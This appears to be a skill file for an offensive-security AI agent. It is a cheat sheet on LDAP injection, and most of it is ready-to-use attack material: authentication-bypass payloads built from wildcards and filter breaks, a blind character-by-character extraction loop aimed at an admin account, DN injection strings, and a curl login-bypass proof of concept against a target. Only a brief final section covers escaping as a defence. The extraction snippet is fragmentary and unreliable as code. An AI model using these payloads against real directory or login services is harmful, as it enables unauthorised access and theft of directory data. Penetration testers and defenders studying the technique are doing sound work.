- name
- ldapi
- description
- LDAP injection — auth bypass via filter manipulation, blind data extraction, search filter abuse, DN injection.
- metadata
- {"when_to_use":"ldap injection auth bypass active directory filter dn search","mitre_attack":"T1190","subdomain":"injection","upstream_ref":"skills/_corpus/payloads/LDAP Injection/"}
# LDAP Injection
LDAP filter syntax: `(attr=value)`, combined with `&` (and), `|` (or), `!` (not).
User input concatenated into the filter string = injection.
## 1. Auth bypass
```python
# Vulnerable code
filter = f"(&(uid={user})(userPassword={pw}))"
# Payload — comment-out rest of filter via wildcard
user = "*"
pw = "*"
# → (&(uid=*)(userPassword=*)) → matches first user, often admin
user = "admin)(|(uid=*"
pw = "anything"
# → (&(uid=admin)(|(uid=*))(userPassword=anything))
# → matches admin OR anyone (second clause), password check ignored
```
## 2. Blind extraction
```python
# Boolean-blind: probe each char via wildcard match
for c in string.printable:
payload = f"*)(uid=admin)(description={c}*)"
if "found" in response:
# next char is c
```
## 3. DN injection
```
# If userdn is constructed from input
DN = f"cn={user},ou=People,dc=corp,dc=local"
# user = "admin\,ou=Admins" → cn=admin,ou=Admins,ou=People,dc=corp,dc=local
# (or sometimes confuses the bind)
```
## 4. Common vulnerable apps
- Custom auth backends w/ python-ldap or ldap3 lib direct-format
- Legacy Java apps w/ JNDI w/o escaping
- DokuWiki / older intranets
## 5. Tools
- Manual via Burp Repeater (most cases need careful crafting)
- `ldapsearch` to verify directly once you have any cred
- Burp Intruder w/ payloads from `_corpus/payloads/LDAP Injection/`
## 6. PoC
```bash
curl -s -X POST $TARGET/login -d 'user=*&pass=*' # if logged in → bug
```
## 7. Severity
| Bug | Severity |
|---|---|
| Auth bypass via wildcard | Critical 9.8 |
| Blind extract of full LDAP directory | Critical 9.0 |
| DN injection enabling group escalation | High 8.0 |
## 8. Defender
```python
import ldap3
# Use parameterized search filters via library helpers
from ldap3.utils.conv import escape_filter_chars
safe_user = escape_filter_chars(user)
conn.search('dc=corp,dc=local', f'(uid={safe_user})')
```
## Cross-references
- Upstream catalog: `skills/_corpus/payloads/LDAP Injection/`
- AD attack patterns (different layer): `skills/ad/SKILL.md`
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